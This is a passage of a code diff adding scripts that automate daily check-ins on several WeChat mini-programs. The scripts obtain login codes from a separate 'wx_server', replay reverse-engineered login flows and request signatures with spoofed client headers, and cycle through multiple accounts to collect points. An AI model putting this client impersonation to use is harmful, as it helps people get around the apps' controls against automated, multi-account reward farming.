code: ${short(data)}`); + return code; + } + + async login() { + const code = await this.getCode(); + const first = await this.request(EP_LOGIN_CODE, { code }); + if (!isOk(first)) throw new Error(`换取 openid 失败: ${msgOf(first)}`); + const siteOpenid = (first.data || {}).openid; + if (!siteOpenid) throw new Error(`第一段登录没返回 openid: ${short(first)}`); + + const second = await this.request(EP_LOGIN2, { siright: 1, open_id: siteOpenid }); + if (!isOk(second)) throw new Error(`登录失败: ${msgOf(second)}`); + const d = second.data || {}; + this.token = String(d.token || ""); + this.userId = String(d.user_id || ""); + this.mobile = String(d.mobile || ""); + if (!this.token || !this.userId) throw new Error(`登录未返回 token/user_id: ${short(second)}`); + + const cache = readCache(); + cache[this.account.openid] = { + token: this.token, userId: this.userId, mobile: this.mobile, + updatedAt: new Date().toISOString(), + }; + writeCache(cache); + this.log(`登录成功${this.mobile ? `: ${maskPhone(this.mobile)}` : ""}`); + } + + async ensureLogin() { + const cached = readCache()[this.account.openid] || {}; + if (!this.token && cached.token && cached.userId) { + this.token = cached.token; + this.userId = cached.userId; + this.mobile = cached.mobile || ""; + if ((await this.signCount(false)) !== null) { + this.log("使用缓存会话"); + return; + } + this.log("缓存会话失效,重新登录"); + this.token = ""; + } + if (!this.token) await this.login(); + } + + /** 返回当前已签次数;读不到返回 null(用来判断会话是否还活着) */ + async signCount(needLog = true) { + const res = await this.request(EP_CHECKIN_NUM, { token: this.token, user_id: this.userId }); + if (!isOk(res)) { + if (needLog) this.log(`读取签到次数失败: ${msgOf(res)}`); + return null; + } + const n = Number(res.data ?? 0); + if (needLog) this.log(`当前已签 ${Number.isNaN(n) ? 0 : n} 次`); + return Number.isNaN(n) ? 0 : n; + } + + async sign(retry = true) { + const count = await this.signCount(); + if (count === null) { + this.log("❌ 签到跳过:拿不到当前签到次数(num 依赖它,不能写死)"); + return; + } + const res = await this.request(EP_CHECKIN, { + num: count + 1, + token: this.token, + user_id: this.userId, + }); + if (isOk(res)) { + const d = res.data || {}; + const gain = d.points ?? d.score ?? d.integral ?? ""; + this.log(`✅ 签到成功${gain !== "" ? `: +${gain}` : ""}`); + return; + } + if (isAlreadyDone(msgOf(res))) return this.log(`✅ 今日已签到(${msgOf(res)})`); + if (isNotRegistered(msgOf(res))) { + return this.log(`⚠️ ${msgOf(res)} —— 该微信号还没在快集合注册,先在小程序里注册一次再跑`); + } + if (retry && isAuthError(msgOf(res))) { + this.log("会话失效,重新登录后重试"); + this.token = ""; + await this.login(); + return this.sign(false); + } + this.log(`❌ 签到失败: ${msgOf(res)}`); + } + + async run() { + if (!this.account.openid) { + this.log("跳过:变量值里没有 openid"); + return; + } + try { + await this.ensureLogin(); + await this.sign(); + } catch (e) { + this.log(`执行失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { + $.log(`未找到变量 ${ckName}`); + return; + } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})() + .catch((e) => $.log(e.message || e)) + .finally(() => $.done()); diff --git a/wxapp/laobanfw.js b/wxapp/laobanfw.js new file mode 100644 index 00000000..8f480d07 --- /dev/null +++ b/wxapp/laobanfw.js @@ -0,0 +1,234 @@ +/* +------------------------------------------ +@Description: 老板服务微商城 - 微信小程序登录 + 每日签到 +cron: 46 8 * * * +------------------------------------------ +变量名:laobanfw +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(appid wxc8c90950cf4546f6,host vip.foxech.com,base /index.php/api): + +每个请求的 body 里都要带一对 timestamp + token,token 是**请求签名**: + timestamp = 毫秒 + token = md5(String(timestamp) + "ae1fd50f" + 站点openid) + 注意:这里的 "token" 不是会话凭证,而是每次请求现算的签名; + 真正的会话身份是站点自己发的 openid(登录时拿到,之后每个请求都要带)。 + 登录那一次 openid 还没有,按源码就是拼空串参与 md5。 + +登录 POST /common/get_openid + {timestamp, openid:"", seat_code:"", code, invite_code:"", sinvite_code:"", token} + -> code==200,站点 openid 在 data.userinfo.openid +资料 POST /member/get_member_info {timestamp, openid, seat_code:"", token} +签到 POST /member/user_sign {timestamp, openid, seat_code:"", token} + +成功码是 code==200,提示在 msg。 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("老板服务微商城"); +const axios = require("axios"); +const crypto = require("crypto"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "laobanfw"; +const MINI_APP_ID = "wxc8c90950cf4546f6"; +const BASE = "https://vip.foxech.com/index.php/api"; +const SALT = "ae1fd50f"; +const TOKEN_CACHE_FILE = path.join(__dirname, "laobanfw_token_cache.json"); +const USER_AGENT = + "Mozilla/5.0 (Linux; Android 12; M2012K11AC Build/SKQ1.220303.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) " + + "Version/4.0 Chrome/134.0.6998.136 Mobile Safari/537.36 MicroMessenger/8.0.48.2580(0x28003036) MiniProgramEnv/android"; + +const EP_LOGIN = "/common/get_openid"; +const EP_USER = "/member/get_member_info"; +const EP_SIGN = "/member/user_sign"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} + +function writeCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} + +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} + +function short(v, n = 220) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} + +const md5 = (s) => crypto.createHash("md5").update(String(s), "utf8").digest("hex"); +const isOk = (res) => Number(res?.code) === 200; +const msgOf = (res) => res?.msg || res?.message || short(res); +const isAlreadyDone = (t) => /已签|已经签|签到过|重复|已完成|already/i.test(String(t || "")); +const isAuthError = (t) => /登录|授权|openid|未登录|失效|过期|重新/i.test(String(t || "")); + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.siteOpenid = ""; + } + + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + + /** 按源码顺序补 timestamp 再算签名:md5(timestamp + salt + openid) */ + signed(extra = {}) { + const payload = { openid: this.siteOpenid || "", seat_code: "", ...extra }; + payload.timestamp = Date.now(); + payload.token = md5(`${payload.timestamp}${SALT}${payload.openid || ""}`); + return payload; + } + + async request(apiPath, payload) { + const res = await axios.request({ + method: "POST", + url: `${BASE}${apiPath}`, + data: payload, + headers: { + "Content-Type": "application/json", + Accept: "application/json, text/plain, */*", + "User-Agent": USER_AGENT, + Referer: `https://servicewechat.com/${MINI_APP_ID}/0/page-frame.html`, + xweb_xhr: "1", + }, + timeout: 20000, + validateStatus: () => true, + }); + if (res.status !== 200) throw new Error(`${apiPath} HTTP ${res.status}: ${short(res.data)}`); + return res.data; + } + + /** wcs.getCode 在 status:false 时也 resolve,必须自己判失败,否则取码限流会被误报成登录失败 */ + async getCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) { + throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + } + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + + async login() { + const code = await this.getCode(); + this.siteOpenid = ""; // 登录那次签名用空 openid,照源码 + const res = await this.request(EP_LOGIN, this.signed({ code, invite_code: "", sinvite_code: "" })); + if (!isOk(res)) throw new Error(`登录失败: ${msgOf(res)}`); + const openid = ((res.data || {}).userinfo || {}).openid || (res.data || {}).openid || ""; + if (!openid) throw new Error(`登录未返回站点 openid: ${short(res)}`); + this.siteOpenid = String(openid); + const cache = readCache(); + cache[this.account.openid] = { siteOpenid: this.siteOpenid, updatedAt: new Date().toISOString() }; + writeCache(cache); + this.log("登录成功"); + } + + async ensureLogin() { + const cached = readCache()[this.account.openid] || {}; + if (!this.siteOpenid && cached.siteOpenid) { + this.siteOpenid = cached.siteOpenid; + if (await this.queryUser(false)) { + this.log("使用缓存会话"); + return; + } + this.log("缓存会话失效,重新登录"); + this.siteOpenid = ""; + } + if (!this.siteOpenid) await this.login(); + } + + async queryUser(needLog = true) { + const res = await this.request(EP_USER, this.signed()); + if (!isOk(res)) { + if (needLog) this.log(`读取会员信息失败: ${msgOf(res)}`); + return false; + } + const d = res.data || {}; + // 会员字段是套在 data.info 里的(data 顶层是 times / level_icon 这类展示字段) + const info = d.info || d.userinfo || d.member || d; + if (needLog) { + const bits = []; + for (const k of ["nickname", "nickName", "mobile", "score", "integral", "points", "balance", "money"]) { + if (info && info[k] !== undefined && info[k] !== null && info[k] !== "") bits.push(`${k}=${info[k]}`); + } + if (d.times !== undefined) bits.push(`签到次数=${d.times}`); + this.log(`会员: ${bits.join(" ") || short(info, 120)}`); + } + return true; + } + + async sign(retry = true) { + const res = await this.request(EP_SIGN, this.signed()); + if (isOk(res)) { + const d = res.data || {}; + const gain = d.score ?? d.add_score ?? d.integral ?? ""; + this.log(`✅ 签到成功${gain !== "" ? `: +${gain}` : ""}`); + return; + } + if (isAlreadyDone(msgOf(res))) return this.log(`✅ 今日已签到(${msgOf(res)})`); + if (retry && isAuthError(msgOf(res))) { + this.log("会话失效,重新登录后重试"); + this.siteOpenid = ""; + await this.login(); + return this.sign(false); + } + this.log(`❌ 签到失败: ${msgOf(res)}`); + } + + async run() { + if (!this.account.openid) { + this.log("跳过:变量值里没有 openid"); + return; + } + try { + await this.ensureLogin(); + await this.queryUser(); + await this.sign(); + } catch (e) { + this.log(`执行失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { + $.log(`未找到变量 ${ckName}`); + return; + } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})() + .catch((e) => $.log(e.message || e)) + .finally(() => $.done()); diff --git a/wxapp/ldxq.js b/wxapp/ldxq.js new file mode 100644 index 00000000..4832f579 --- /dev/null +++ b/wxapp/ldxq.js @@ -0,0 +1,180 @@ +/* +------------------------------------------ +@Description: 绿动新球 - 微信小程序静默登录 + 每日签到 +cron: 15 8 * * * +------------------------------------------ +变量名:ldxq +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(appid wxa61a45f180dec800,host lvdong.fzjingzhou.com): +(迁移自 YYB-GO 系脚本,原脚本已 code 登录;鉴权用 token,放在每个请求 body 里) +请求体均为 application/x-www-form-urlencoded;无签名。 + +登录 POST /api/login/getWxMiniProgramSessionKey {code, gdtVid:"", token:""} + -> code==1000,data.token(=后续 token) +签到 POST /api/Person/sign {token} + -> code==1000 签到成功(msg 里带“签到成功/已签到”);code==1001 视为已签/成功 +资料 POST /api/Person/index {token} + -> code==1000,data.nickname / data.score +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("绿动新球签到"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "ldxq"; +const MINI_APP_ID = "wxa61a45f180dec800"; +const API_HOST = "lvdong.fzjingzhou.com"; +const BASE = `https://${API_HOST}`; +const TOKEN_CACHE_FILE = path.join(__dirname, "ldxq_token_cache.json"); +const UA = + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 " + + "MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF"; + +const EP_LOGIN = "/api/login/getWxMiniProgramSessionKey"; +const EP_SIGN = "/api/Person/sign"; +const EP_USERINFO = "/api/Person/index"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readCache() { + try { if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; } catch (e) { return {}; } +} +function writeCache(c) { + try { fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(c, null, 2), "utf8"); } catch (e) { $.log(`写入缓存失败: ${e.message || e}`); } +} +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} +function short(v, n = 240) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} +function formEncode(obj) { + const p = new URLSearchParams(); + for (const [k, v] of Object.entries(obj || {})) p.append(k, v == null ? "" : String(v)); + return p.toString(); +} + +const isAlreadyDone = (t) => /已签|已经签|签到过|重复|今日已|已完成|already/i.test(String(t || "")); + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.token = ""; + } + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + async request(apiPath, body) { + const res = await axios.request({ + method: "POST", url: `${BASE}${apiPath}`, data: formEncode(body), + headers: { + Host: API_HOST, "Content-Type": "application/x-www-form-urlencoded", + Platform: "MP-WEIXIN", "User-Agent": UA, xweb_xhr: "1", Accept: "*/*", + "Accept-Language": "zh-CN,zh;q=0.9", + Referer: `https://servicewechat.com/${MINI_APP_ID}/4/page-frame.html`, + }, + timeout: 20000, validateStatus: () => true, + }); + if (res.status !== 200) { + if (res.data && typeof res.data === "object") return res.data; + throw new Error(`${apiPath} HTTP ${res.status}: ${short(res.data)}`); + } + return res.data; + } + async getCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + async login() { + const code = await this.getCode(); + const res = await this.request(EP_LOGIN, { code, gdtVid: "", token: "" }); + const d = (res && typeof res.data === "object") ? res.data : {}; + const token = d.token || (res || {}).token; + if (Number(res?.code) === 1000 && token) { + this.token = String(token); + const cache = readCache(); + cache[this.account.openid] = { token: this.token, updatedAt: new Date().toISOString() }; + writeCache(cache); + this.log("登录成功"); + return; + } + const msg = res?.msg || res?.message || short(res); + // code==1000 但 token/data 为空:code2session 被服务端接受,但该 openid 未注册/绑定会员,未下发 token + if (Number(res?.code) === 1000 && !token) throw new Error("NO_ACCOUNT:服务端已接受 code(code=1000) 但未下发 token,该微信号未注册绿动新球会员"); + if (/未注册|未绑定|未激活|请先|注册/.test(String(msg))) throw new Error(`NO_ACCOUNT:${msg}`); + throw new Error(`登录失败: ${msg}`); + } + async userInfo() { + try { + const res = await this.request(EP_USERINFO, { token: this.token }); + if (Number(res?.code) === 1000) { + const d = res.data || {}; + this.log(`👤 昵称:${d.nickname ?? "-"},积分:${d.score ?? "-"}`); + } + } catch (e) { /* 资料失败不影响签到 */ } + } + async sign(retry = true) { + const res = await this.request(EP_SIGN, { token: this.token }); + const code = Number(res?.code); + const msg = res?.msg || res?.message || short(res); + if (code === 1000) { + if (isAlreadyDone(msg)) return this.log(`✅ 今日已签到(${msg})`); + return this.log(`✅ 签到成功(${msg})`); + } + if (code === 1001 || isAlreadyDone(msg)) return this.log(`✅ 今日已签到(${msg})`); + if (retry && /token|登录|未授权|失效|过期|未登录|鉴权|重新登录/i.test(String(msg))) { + this.log("会话失效,重新登录后重试"); + this.token = ""; + await this.login(); + return this.sign(false); + } + this.log(`❌ 签到失败: ${msg}(code:${res?.code})`); + } + async ensureLogin() { + const cached = readCache()[this.account.openid] || {}; + if (!this.token && cached.token) { this.token = cached.token; this.log("使用缓存token"); return; } + if (!this.token) await this.login(); + } + async run() { + if (!this.account.openid) { this.log("跳过:变量值里没有 openid"); return; } + try { + await this.ensureLogin(); + await this.userInfo(); + await this.sign(); + } catch (e) { + if (String(e.message).startsWith("NO_ACCOUNT")) { + this.log(`⚠️ 该微信号还没在绿动新球注册/绑定,先在小程序里登录一次再跑(${String(e.message).slice(10)})`); + return; + } + this.log(`执行失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { $.log(`未找到变量 ${ckName}`); return; } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})().catch((e) => $.log(e.message || e)).finally(() => $.done()); diff --git a/wxapp/lieer.js b/wxapp/lieer.js new file mode 100644 index 00000000..764fccd9 --- /dev/null +++ b/wxapp/lieer.js @@ -0,0 +1,309 @@ +/* +------------------------------------------ +@Author: sm +@Date: 2026.05.31 +@Description: 烈儿宝贝小程序签到 +cron: 38 8 * * * +------------------------------------------ +变量名:lieer +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行 +也支持直接填 token,格式:token= +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("烈儿宝贝小程序签到"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const MINI_APP_ID = "wxf98a118ca21bbf5f"; +const PAGE_VERSION = "139"; +const APP_VERSION = "2.31.2"; +const ENV_VERSION = "release"; +const API_BASE = "https://smp-api.iyouke.com/dtapi"; +const TOKEN_CACHE_FILE = path.join(__dirname, "lieer_token_cache.json"); +const USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) MicroMessenger/3.9.12 MiniProgramEnv/Windows WindowsWechat/WMPF"; + +let ckName = "lieer"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readTokenCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} + +function writeTokenCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} + +function formatDate(date = new Date(), separator = "-") { + const y = date.getFullYear(); + const m = String(date.getMonth() + 1).padStart(2, "0"); + const d = String(date.getDate()).padStart(2, "0"); + return [y, m, d].join(separator); +} + +function normalizeAuthorization(value = "") { + const token = String(value || "").trim(); + if (!token) return ""; + if (/^bearer/i.test(token)) return token; + if (/^Bearer\s+/i.test(token)) return `bearer${token.replace(/^Bearer\s+/i, "")}`; + return `bearer${token}`; +} + +function maskMobile(mobile = "") { + return String(mobile || "").replace(/^(\d{3})\d{4}(\d{4})$/, "$1****$2"); +} + +class Task { + constructor(account) { + this.index = $.userIdx++; + this.account = String(account || "").trim(); + this.accessToken = ""; + this.authorization = ""; + this.userInfo = {}; + this.todayDate = formatDate(); + this.isTodaySign = false; + this.isDirectToken = /^token=/i.test(this.account) || /^bearer/i.test(this.account); + if (this.isDirectToken) this.applyToken({ authorization: this.account.replace(/^token=/i, "") }); + } + + async run() { + if (!this.authorization) { + const cached = this.getCachedToken(); + if (cached) { + this.applyToken(cached); + $.log(`账号[${this.index}] 使用缓存token`); + if (!(await this.checkToken())) { + this.removeCachedToken(); + $.log(`账号[${this.index}] 缓存token失效,重新登录`); + } + } + } + + if (!this.authorization) { + await this.loginByWxCode(); + if (!this.authorization) return; + } + + await this.getUserInfo(); + await this.getPointsInfo(); + await this.getSignList(); + await this.doSign(); + await this.getPointsInfo(); + this.saveCachedToken(); + } + + cacheKey() { + return this.isDirectToken ? `token:${this.authorization.slice(-16)}` : this.account; + } + + getCachedToken() { + const cache = readTokenCache(); + return cache[this.cacheKey()] || null; + } + + saveCachedToken() { + if (!this.authorization) return; + const cache = readTokenCache(); + cache[this.cacheKey()] = { + accessToken: this.accessToken, + authorization: this.authorization, + userId: this.userInfo.userId || "", + nickName: this.userInfo.nickName || "", + userMobile: this.userInfo.userMobile || "", + updatedAt: new Date().toISOString(), + }; + writeTokenCache(cache); + } + + removeCachedToken() { + const cache = readTokenCache(); + delete cache[this.cacheKey()]; + writeTokenCache(cache); + this.accessToken = ""; + this.authorization = ""; + this.userInfo = {}; + } + + applyToken(data = {}) { + this.accessToken = data.accessToken || data.access_token || ""; + this.authorization = normalizeAuthorization(data.authorization || this.accessToken); + this.userInfo = { ...this.userInfo, ...data }; + } + + headers(extra = {}) { + const headers = { + "User-Agent": USER_AGENT, + "Referer": `https://servicewechat.com/${MINI_APP_ID}/${PAGE_VERSION}/page-frame.html`, + "Accept": "application/json, text/plain, */*", + appId: MINI_APP_ID, + version: APP_VERSION, + envVersion: ENV_VERSION, + "xy-extra-data": `appid=${MINI_APP_ID};version=${APP_VERSION};envVersion=${ENV_VERSION};`, + ...extra, + }; + if (this.authorization) headers.Authorization = this.authorization; + return headers; + } + + async request({ method = "POST", apiPath, params = {}, data = {}, skipToken = false }) { + const upperMethod = method.toUpperCase(); + const options = { + method: upperMethod, + url: `${API_BASE}${apiPath}`, + headers: this.headers(upperMethod === "POST" ? { "Content-Type": "application/json" } : {}), + timeout: 20000, + validateStatus: () => true, + }; + if (upperMethod === "GET") options.params = params; + else options.data = data; + if (skipToken) delete options.headers.Authorization; + + const res = await axios.request(options); + if (res.status !== 200) throw new Error(`HTTP ${res.status}: ${JSON.stringify(res.data)}`); + const result = res.data; + if (result && typeof result === "object" && result.error !== undefined && Number(result.error) !== 0) { + const err = new Error(result.errorMsg || result.message || result.msg || JSON.stringify(result)); + err.code = result.error; + throw err; + } + return result?.data ?? result; + } + + async getLoginCode() { + const { data } = await wechat.getCode(this.account); + const code = data?.code || data?.data?.code; + if (!code) throw new Error(`wx_server 未返回 code: ${JSON.stringify(data)}`); + return code; + } + + async loginByWxCode() { + try { + const code = await this.getLoginCode(); + const data = await this.request({ + apiPath: "/appLogin", + skipToken: true, + data: { + appType: 1, + principal: code, + }, + }); + this.applyToken(data); + if (!this.authorization) throw new Error(`登录未返回token: ${JSON.stringify(data)}`); + this.saveCachedToken(); + $.log(`账号[${this.index}] 登录成功: userId=${data.userId || ""}`); + } catch (e) { + $.log(`账号[${this.index}] 登录失败: ${e.message || e}`); + } + } + + async checkToken() { + try { + await this.getUserInfo(false); + return true; + } catch (e) { + return false; + } + } + + async getUserInfo(log = true) { + const data = await this.request({ + method: "GET", + apiPath: "/p/user/userInfo", + }); + this.userInfo = { + ...this.userInfo, + ...data, + }; + this.saveCachedToken(); + if (log) { + const name = data.nickName || data.memberName || data.userId || "未知"; + const mobile = data.userMobile || data.mobile || ""; + $.log(`账号[${this.index}] 用户: ${name}${mobile ? ` ${maskMobile(mobile)}` : ""}`); + } + return data; + } + + async getPointsInfo() { + try { + const data = await this.request({ + method: "GET", + apiPath: "/pointsSign/user/pointsInfo/query", + }); + $.log(`账号[${this.index}] 积分: ${data?.pointsNums ?? "未知"} 连签=${data?.seriesDays ?? 0} 今日=${data?.signTodayResult ? "已签" : "未签"}`); + return data; + } catch (e) { + const message = e.message || e; + $.log(`账号[${this.index}] 查询积分失败: ${message}`); + if (/token|登录|授权|401/i.test(String(message))) this.removeCachedToken(); + } + } + + async getSignList() { + try { + const data = await this.request({ + method: "GET", + apiPath: "/pointsSign/user/sign/list", + params: { v4Flag: true }, + }); + const today = formatDate(); + const todayItem = Array.isArray(data) ? data.find((item) => item?.isToday || item?.dateStr === today) : null; + this.todayDate = todayItem?.dateStr || today; + this.isTodaySign = Number(todayItem?.daySignStatus) === 2 || Boolean(todayItem?.sign); + $.log(`账号[${this.index}] 签到状态: ${this.todayDate} ${this.isTodaySign ? "已签" : "未签"}`); + } catch (e) { + const message = e.message || e; + $.log(`账号[${this.index}] 查询签到状态失败: ${message}`); + if (/token|登录|授权|401/i.test(String(message))) this.removeCachedToken(); + } + } + + async doSign() { + if (this.isTodaySign) { + $.log(`账号[${this.index}] 今日已签到`); + return; + } + try { + const date = (this.todayDate || formatDate()).replace(/-/g, "/"); + const data = await this.request({ + method: "GET", + apiPath: "/pointsSign/user/sign", + params: { date }, + }); + $.log(`账号[${this.index}] 签到成功: +${data?.signReward ?? data?.reward ?? "未知"}积分`); + } catch (e) { + const message = String(e.message || e); + if (/已签|重复|今日.*签/i.test(message)) { + $.log(`账号[${this.index}] 今日已签到`); + return; + } + $.log(`账号[${this.index}] 签到失败: ${message}`); + if (/token|登录|授权|401/i.test(message)) this.removeCachedToken(); + } + } +} + +!(async () => { + $.checkEnv(ckName); + for (const account of $.userList) { + await new Task(account).run(); + } +})() + .catch((e) => $.log(e.message || e)) + .finally(() => $.done()); diff --git a/wxapp/liquanpijiu.py b/wxapp/liquanpijiu.py new file mode 100644 index 00000000..ec1ab3b8 --- /dev/null +++ b/wxapp/liquanpijiu.py @@ -0,0 +1,391 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +# 漓泉啤酒生态营地 - 每日签到得积分 +# 入口: 微信小程序「漓泉啤酒生态营地」-> 会员中心 -> 每日签到 +# 说明: 通过 wx_server(smallcat) 用 openid 换取 wx.login code, 复刻小程序的 +# 会员静默登录 (mbr/members/wxLogin/{code}) 拿到 Token, 再完成每日签到。 +# 接口契约 (来自小程序主包 common/vendor.js 反编译): +# 登录 GET /api/mbr/members/wxLogin/{code}?appId= +# -> errcode==0 且 data.b2cMemberId/openid 存在; data.token 为会话凭证 +# 鉴权 请求头 Token: (响应拦截器: errcode||code, 200 成功, 401 会话失效) +# 状态 GET /api/b2c/member/sign/task/list -> data.signRes.{sign, signNum, +# taskSignDtoList[{signTime, signStatus}]} sign==true / 今日行 +# signStatus=="sign" 即今日已签 (幂等预检依据) +# 签到 POST /api/b2c/member/sign/task body {} -> code==200, data.signRes.sign==true +# 积分 GET /api/b2c/member/pointsAndCouponCardNumAndShopCardInfo?unionId= +# -> data.MemberCouponShopPointsVo.pointsNum (仅用于上报余额) +# 账号变量名:lqpj (填写 wx_server 中的 openid, 多账号用换行或 & 分割, 可选 #备注) +# 需要配置 wx_server_url、wx_auth, 用于获取 wx.login code +#new Env("漓泉啤酒签到") +#cron 30 9 * * * + +import json +import os +import sys +import time +from datetime import datetime, timedelta, timezone +from pathlib import Path + +import requests + +if hasattr(sys.stdout, "reconfigure"): + sys.stdout.reconfigure(encoding="utf-8", errors="replace") +if hasattr(sys.stderr, "reconfigure"): + sys.stderr.reconfigure(encoding="utf-8", errors="replace") + +try: + from notify import send +except Exception: + def send(title, content): + print(f"\n===== {title} =====\n{content}") + +# --------------------------------------------------------------------------- +# 常量 (均来自小程序反编译源码, 非机密) +# --------------------------------------------------------------------------- +MINI_APP_ID = "wx08dabaec2783f4e9" +BASE_URL = "https://api.mbr.liquan.com/api" # vendor.js api_HOST +SUCCESS_CODE = 200 +SESSION_INVALID_CODE = 401 # 拦截器: 清 token 并重新登录 +SIGNED = "sign" # taskSignDtoList[].signStatus + +# smallcat / wx_server 配置 (机密, 从环境变量读取, 绝不硬编码) +WX_SERVER_URL = os.getenv("wx_server_url", "http://192.168.31.196:8787").rstrip("/") +WX_AUTH = os.getenv("wx_auth", "") + +TOKEN_CACHE_PATH = Path(__file__).with_name("liquanpijiu_token_cache.json") +DEFAULT_UA = ( + "Mozilla/5.0 (Linux; Android 13; SM-G9910 Build/TP1A.220624.014) " + "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Mobile Safari/537.36 " + "MicroMessenger/8.0.49.2600(0x28003137) NetType/WIFI Language/zh_CN " + "miniProgram/" + MINI_APP_ID +) + +session = requests.Session() + + +# --------------------------------------------------------------------------- +# 工具函数 +# --------------------------------------------------------------------------- +def bj_now(): + return datetime.now(timezone(timedelta(hours=8))) + + +def mask(value): + if not value: + return "" + value = str(value) + if len(value) <= 12: + return value[:2] + "***" + return f"{value[:6]}***{value[-4:]}" + + +def read_token_cache(): + try: + if TOKEN_CACHE_PATH.exists(): + return json.loads(TOKEN_CACHE_PATH.read_text(encoding="utf-8")) or {} + except Exception: + pass + return {} + + +def write_token_cache(cache): + try: + TOKEN_CACHE_PATH.write_text( + json.dumps(cache, ensure_ascii=False, indent=2), encoding="utf-8") + except Exception as e: + print(f"⚠️ 写入token缓存失败: {e}") + + +def get_cached_session(openid): + return read_token_cache().get(openid) or {} + + +def save_cached_session(openid, token, union_id): + cache = read_token_cache() + cache[openid] = {"token": token, "unionId": union_id, + "updatedAt": int(time.time())} + write_token_cache(cache) + + +def remove_cached_session(openid): + cache = read_token_cache() + if openid in cache: + del cache[openid] + write_token_cache(cache) + + +# --------------------------------------------------------------------------- +# smallcat: openid -> wx.login code +# --------------------------------------------------------------------------- +def get_wx_code(openid): + if not WX_AUTH: + raise RuntimeError("缺少 wx_auth, 无法从 wx_server 获取 code") + headers = {"Accept": "application/json", "Content-Type": "application/json", + "auth": WX_AUTH} + body = json.dumps({"appid": MINI_APP_ID, "openid": openid}) + last_msg = "" + for attempt in range(4): + if attempt: + # smallcat 偶发 "获取失败"(会话抖动), 刷新会话后间隔重试 + try: + session.post(f"{WX_SERVER_URL}/wx/refresh", data=body, + headers=headers, timeout=30) + except 